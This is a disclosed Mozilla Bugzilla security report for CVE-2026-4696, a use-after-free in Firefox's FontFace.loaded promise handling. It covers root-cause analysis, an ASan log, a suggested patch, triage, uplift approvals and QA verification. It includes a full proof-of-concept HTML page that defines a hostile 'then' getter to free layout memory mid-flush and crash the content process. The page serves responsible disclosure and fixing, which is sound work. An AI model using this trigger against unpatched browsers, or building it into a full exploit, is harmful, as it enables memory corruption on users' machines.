Closed Bug 2020190 (CVE-2026-4696) Opened 8 months ago Closed 7 months ago

Use-after-free in FontFace.loaded promise resolution via thenable check

Categories

(Core :: Layout: Text and Fonts, defect, P2)

defect

Tracking

()

VERIFIED FIXED
150 Branch
Tracking Status
firefox-esr115 149+ verified
firefox-esr140 149+ verified
firefox148 --- wontfix
firefox149 + verified
firefox150 + verified

People

(Reporter: miku71041, Assigned: emilio)

References

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])

Attachments

(3 files, 1 external file)

Attached file asan_log.txt —

Summary

FontFace::MaybeResolve() resolves FontFace.loaded with the FontFace object itself. The JS engine's thenable check reads .then on the resolution value, allowing attacker-defined getters to run arbitrary JS mid-layout. Destroying an iframe in this getter frees ComputedStyle objects while layout still references them, causing a heap-use-after-free. No user interaction required.

Affected Version

  • Firefox stable 148.0 (Windows), Firefox Nightly 150.0a1 (Linux)
  • Cross-platform (Linux, Windows, macOS)

Steps to Reproduce

  1. Open poc_fontface_uaf.html in Firefox.
  2. Content process crashes on page load.

Root Cause

In FontFace::MaybeResolve() (layout/style/FontFace.cpp:269-282), when gfxFontUtils::CurrentServoStyleSet() returns null (local() font sources load synchronously during layout), the promise resolves immediately instead of being deferred to a PostTraversalTask. This triggers the thenable check mid-layout:

offsetHeight -> FlushPendingNotifications -> FlushUserFontSet
  -> SetLoadState(STATUS_LOADED) -> FontFace::MaybeResolve()
    -> mLoaded->MaybeResolve(this)       // FontFace.cpp:282
      -> JS thenable check: get .then    // attacker getter runs here
        -> iframe.remove()               // frees all ComputedStyles
  -> layout continues with freed pointers -> UAF

Security Impact

  • 100% reproducible crash, zero interaction
  • Freed 264-byte ComputedValues in default mozjemalloc arena (272-byte bin), reclaimable by attacker

ASan Log (key frames)

==510650==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c666de0d848
READ of size 8 at 0x7c666de0d848 thread T0 (file:// Content)

ACCESS:
    #0  StyleFont                           ServoComputedData.h:73
    #7  nsTextFrame::EnsureTextRun          nsTextFrame.cpp:3212
   #49  PresShell::DoFlushPendingNotifications  PresShell.cpp:4497
   #56  HTMLElement_Binding::get_offsetHeight   HTMLElementBinding.cpp:2987

FREE:
    #1  Arc<T>::drop                        servo_arc/lib.rs:562
   #15  nsIFrame::Destroy                   nsIFrame.cpp:986
   #31  nsCSSFrameConstructor::WillDestroyFrameTree  nsCSSFrameConstructor.cpp:7291
   #38  nsGenericHTMLFrameElement::UnbindFromTree    nsGenericHTMLFrameElement.cpp:210

ALLOC:
    #8  Servo_ComputedValues_Inherit        glue.rs:4790
   #10  ServoStyleSet::ResolveStyleForText  ServoStyleSet.cpp:407

0x7c666de0d848: 8 bytes inside 264-byte region [0x7c666de0d840,0x7c666de0d948)

Full log attached as asan_log.txt.

Suggested Fix

Defer resolution when no ServoStyleSet is available. Apply the same to MaybeReject() (line 285):

// In FontFace::MaybeResolve(), replace the immediate resolution with:
RefPtr<FontFace> self = this;
nsContentUtils::AddScriptRunner(NS_NewRunnableFunction(
  "FontFace::MaybeResolve", [self]() {
    if (self->mLoaded) {
      self->mLoaded->MaybeResolve(self.get());
    }
  }));

Attachments

  • poc_fontface_uaf.html - Minimal PoC (crashes on page load)
  • asan_log.txt - Full ASan output
Flags: sec-bounty?

this is my poc.

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FontFace UAF PoC</title>
</head>
<body>
<script>
"use strict";
// FontFace::MaybeResolve() Use-After-Free
//
// FontFace.loaded promise resolution performs a thenable check on the FontFace
// object. A getter on FontFace.prototype.then can run arbitrary JS during this
// check. Destroying the iframe in the getter frees ComputedStyle objects that
// are still referenced by the ongoing layout operation, causing a UAF.

var iframe = document.createElement("iframe");
iframe.style.cssText = "width:800px;height:600px;position:absolute;left:0;top:0";
document.body.appendChild(iframe);
void document.body.offsetHeight;

var idoc = iframe.contentDocument;
var iwin = iframe.contentWindow;

// Container with complex layout to ensure many ComputedStyle allocations
var container = idoc.createElement("div");
container.style.cssText = "position:absolute;visibility:hidden";
idoc.body.appendChild(container);

var style = idoc.createElement("style");
style.textContent = ".row{display:flex;width:100%} .cell{flex:1;padding:4px;border:1px solid #ccc}";
idoc.head.appendChild(style);

// System fonts that trigger synchronous local() font loading
var FONTS = [
  "Segoe UI", "Arial", "Times New Roman", "Courier New",
  "Tahoma", "Verdana", "Calibri", "Consolas", "Georgia",
  "Helvetica", "Helvetica Neue", "Menlo", "Monaco",
  "DejaVu Sans", "DejaVu Serif", "DejaVu Sans Mono",
  "Liberation Sans", "Liberation Serif", "Liberation Mono",
  "Noto Sans", "Noto Serif", "Ubuntu", "Cantarell", "FreeSans"
];
var src = FONTS.map(function(f) { return "local('" + f + "')"; }).join(",");

for (var i = 0; i < 16; i++) {
  var face = new iwin.FontFace("F" + i, src);
  idoc.fonts.add(face);
  void face.loaded;
  face.loaded.catch(function(){});

  var row = idoc.createElement("div");
  row.className = "row";
  for (var j = 0; j < 4; j++) {
    var cell = idoc.createElement("div");
    cell.className = "cell";
    cell.style.fontFamily = '"F' + i + '",sans-serif';
    cell.textContent = "The quick brown fox jumps over the lazy dog " + i + "." + j;
    row.appendChild(cell);
  }
  container.appendChild(row);
}

var triggered = false;
Object.defineProperty(iwin.FontFace.prototype, "then", {
  configurable: true,
  get: function() {
    if (triggered) return undefined;
    triggered = true;
    iframe.remove();
    return undefined;
  }
});

try {
  void idoc.body.offsetHeight;
} catch(e) {}
</script>
</body>
</html>
Attached file poc_fontface_uaf.html —
Group: firefox-core-security → layout-core-security
Component: Security → Layout: Text and Fonts
Product: Firefox → Core
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-high
Flags: needinfo?(emilio)
Severity: -- → S2
Priority: -- → P3
Assignee: nobody → emilio
Attached file (secure) —

The asan log has a truncated stack. Here's the interesting bit for posterity. We're calling into JS in the middle of MakeTextRun...

Flags: needinfo?(emilio)
Priority: P3 → P2

Comment on attachment 9550824 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: It's not really trivial but not terribly hard perhaps?
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?: Should apply cleanly.
  • How likely is this patch to cause regressions; how much testing does it need?: not likely, very trivial check
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9550824 - Flags: sec-approval?
Blocks: 2020755
Duplicate of this bug: 2020755

Comment on attachment 9550824 [details]
(secure)

sec-approval+ to land now and request uplifts. Uplifts to beta need to happen before March 13 to make it into the last beta accepting security bug uplifts

Attachment #9550824 - Flags: sec-approval? → sec-approval+
No longer blocks: 2020755
Pushed by rperta@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/1368bc52922d https://hg.mozilla.org/integration/autoland/rev/2e162206a444 Revert "Bug 2020190. r=layout-reviewers,firefox-style-system-reviewers,dshin" for causing assertion failures at nsContentUtils.cpp
Flags: needinfo?(emilio)
Group: layout-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch

The patch landed in nightly and beta is affected.
:emilio, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(emilio)

Comment on attachment 9550824 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency:
  • Is this code covered by automated tests?: No
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: Yes
  • If yes, steps to reproduce: comment 0
  • List of other uplifts needed: none
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): trivial check
  • String changes made/needed: none
  • Is Android affected?: Yes

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined: sec-high
  • Fix Landed on Version: 150
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): not risky, simple check
Flags: needinfo?(emilio)
Attachment #9550824 - Flags: approval-mozilla-release?
Attachment #9550824 - Flags: approval-mozilla-esr140?
Attachment #9550824 - Flags: approval-mozilla-esr115?
Attachment #9550824 - Flags: approval-mozilla-beta?
Flags: qe-verify+
Duplicate of this bug: 2023035
Duplicate of this bug: 2023033

Comment on attachment 9550824 [details]
(secure)

Approved for 149.0b9, 140.9esr, and 115.34esr.

Attachment #9550824 - Flags: approval-mozilla-release?
Attachment #9550824 - Flags: approval-mozilla-esr140?
Attachment #9550824 - Flags: approval-mozilla-esr140+
Attachment #9550824 - Flags: approval-mozilla-esr115?
Attachment #9550824 - Flags: approval-mozilla-esr115+
Attachment #9550824 - Flags: approval-mozilla-beta?
Attachment #9550824 - Flags: approval-mozilla-beta+
Duplicate of this bug: 2022899
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149] [qa-ver-needed-c150/b149]

Reproduced the issue on Firefox stable 148.0 and Firefox 150.a01 (2026-02-28) by following the information provided in Comment 0: tab with poc_fontface_uaf.html crashes.

The issue is fixed on Firefox ESR 115.34.0, Firefox ESR 140.9.0, Firefox 149.0b9 and Firefox 150.0a1 (2026-03-15). Tests were performed on Ubuntu 22.04, Windows 11 and macOS 13.

QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149] [qa-ver-needed-c150/b149] → [sec] [uplift] [qa-triage-done-c150/b149] [qa-ver-done-c150/b149]
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]

Congratulations on the bug bounty award. Because duplicate bug 2020755 was filed within the collision window the bounty award will be split between the two.

Note that for future bugs our new collision policy eliminates the bounty award when the collision is with our internal testing, and we only split bounties if the colliding reporters are external researchers.

Flags: sec-bounty? → sec-bounty+
Alias: CVE-2026-4696
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: